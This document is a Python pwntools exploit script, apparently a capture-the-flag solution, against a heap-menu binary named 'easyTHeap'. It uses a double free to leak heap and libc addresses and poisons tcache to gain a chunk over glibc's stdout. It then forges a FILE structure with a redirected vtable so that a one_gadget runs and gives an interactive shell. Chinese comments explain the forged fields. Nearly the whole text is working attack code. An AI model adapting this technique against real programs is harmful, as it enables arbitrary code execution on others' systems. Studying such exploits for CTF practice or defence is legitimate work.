#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])

r = process('./easyTHeap')
#libc = ELF('./libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def get_IO_str_jumps():
    IO_file_jumps_offset = libc.symbols[b'_IO_file_jumps']
    IO_str_underflow_offset = libc.symbols[b'_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            return possible_IO_str_jumps_offset

def cmd(x):
    r.recvuntil('choice: ')
    r.send(str(x))

def add(l):
    cmd(1)
    r.recvuntil('size?')
    r.sendline(str(int(l)))

def edit(i,s):
    cmd(2)
    r.recvuntil('idx?')
    r.send(str(i))
    r.recvuntil('content:')
    r.send(s)

def show(i):
    cmd(3)
    r.recvuntil('idx?')
    r.sendline(str(i))

def delete(i):
    cmd(4)
    r.recvuntil('idx?')
    r.sendline(str(i))

def exit():
    cmd(5)

add(0x100) # 0
add(0x100) # 1

delete(0)
delete(0)

show(0)
leak_heap = u64(r.recvuntil('\n')[:-1].ljust(8, b'\x00'))
log.info('leak_heap : {}'.format(hex(leak_heap)))

add(0x100) # 2
add(0x100) # 3
add(0x100) # 4

delete(0)
show(0)

libc_base = u64(r.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x3ebca0
log.info('libc_base : {}'.format(hex(libc_base)))

malloc_hook = libc_base + libc.symbols[b'__malloc_hook']
realloc = libc_base + libc.symbols[b'__libc_realloc'] # python3 好像有些值都會跑掉
_IO_2_1_stdout_ = libc_base + libc.symbols[b'_IO_2_1_stdout_']
_IO_str_jumps = libc_base + get_IO_str_jumps()

one_gadget = libc_base + 0x4f3c2
log.info('malloc_hook : {}'.format(hex(malloc_hook)))
log.info('realloc : {}'.format(hex(realloc)))
log.info('_IO_2_1_stdout_ : {}'.format(hex(_IO_2_1_stdout_)))
log.info('_IO_str_jumps : {}'.format(hex(_IO_str_jumps)))
vtable_jump = _IO_str_jumps - 0x28
edit(2,p64(_IO_2_1_stdout_))
add(0x100) # 5
add(0x100) # 6

'''
_flags 最低位元為0就可以了
_lock 要找一個指向0的位址
'''
s1  = p64(0xfbad3886) # _flags
s1 += p64(0) # _IO_read_ptr
s1 += p64(0) # _IO_read_end
s1 += p64(0) # _IO_read_base
s1 += p64(0) # _IO_write_base
s1 += p64(0) # _IO_write_ptr 
s1 += p64(0) # _IO_write_end
s1 += p64(_IO_2_1_stdout_) # _IO_buf_base
s1 += p64(_IO_2_1_stdout_ + 1) # _IO_buf_end
s1 = s1.ljust(0x70, b'\x00') #
s1 += p64(1) # _fileno
s1 += p64(0) # _old_offset
s1 = s1.ljust(0x88, b'\x00')
s1 += p64(libc_base + 0x3ed8c0) # _lock
s1 += p64(0) # _offset
s1 += p64(0)
s1 += p64(0) # wide_data
s1 = s1.ljust(0xd8, b'\x00')
s1 += p64(_IO_str_jumps - 0x28) # vtable, _IO_str_finish
s1 = s1.ljust(0xe8, b'\x00')
s1 += p64(one_gadget)

input('#')
'''
edit最後會有一個puts，他會呼叫stdout裡面的vtable
'''
edit(6, s1)



r.interactive()
